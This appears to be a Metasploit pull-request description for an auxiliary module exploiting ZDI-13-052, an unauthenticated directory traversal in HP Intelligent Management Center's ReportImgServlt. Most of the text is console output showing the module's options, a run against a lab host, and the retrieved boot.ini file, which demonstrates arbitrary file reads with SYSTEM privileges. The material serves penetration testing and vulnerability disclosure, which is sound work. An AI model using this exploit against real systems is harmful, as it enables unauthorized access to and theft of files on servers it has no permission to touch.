added module for ZDI-13-052

Tested successfully on HP Intelligent Management Center 5.1 E0202 over Windows 2003 SP2

```
msf auxiliary(hp_imc_faultdownloadservlet_traversal) > use auxiliary/scanner/http/hp_imc_reportimgservlt_traversal 
msf auxiliary(hp_imc_reportimgservlt_traversal) > info

       Name: HP Intelligent Management ReportImgServlt Directory Traversal
     Module: auxiliary/scanner/http/hp_imc_reportimgservlt_traversal
    Version: 0
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  rgod <rgod@autistici.org>
  juan vazquez <juan.vazquez@metasploit.com>

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  DEPTH      4                yes       Traversal depth if absolute is set to false
  FILEPATH   /boot.ini        yes       The name of the file to download
  Proxies                     no        Use a proxy chain
  RHOSTS                      yes       The target address range or CIDR identifier
  RPORT      8080             yes       The target port
  TARGETURI  /imc             yes       Path to HP Intelligent Management Center
  THREADS    1                yes       The number of concurrent threads
  VHOST                       no        HTTP server virtual host

Description:
  This module exploits a lack of authentication and a directory 
  traversal in HP Intelligent Management, specifically in the 
  ReportImgServlt, in order to retrieve arbitrary files with SYSTEM 
  privileges. This module has been tested successfully on HP 
  Intelligent Management Center 5.1 E0202 over Windows 2003 SP2.

References:
  http://cvedetails.com/cve/2012-5203/
  http://www.osvdb.org/91028
  http://www.securityfocus.com/bid/58672
  http://www.zerodayinitiative.com/advisories/ZDI-13-052/

msf auxiliary(hp_imc_reportimgservlt_traversal) > set rhosts 192.168.1.140
rhosts => 192.168.1.140
msf auxiliary(hp_imc_reportimgservlt_traversal) > run

[+] 192.168.1.140:8080 - File saved in: /Users/juan/.msf4/loot/20130403002142_default_192.168.1.140_hp.imc.faultdown_001423.ini
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(hp_imc_reportimgservlt_traversal) > cat /Users/juan/.msf4/loot/20130403002142_default_192.168.1.140_hp.imc.faultdown_001423.ini
[*] exec: cat /Users/juan/.msf4/loot/20130403002142_default_192.168.1.140_hp.imc.faultdown_001423.ini

[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Windows Server 2003, Standard" /noexecute=optout /fastdetect

```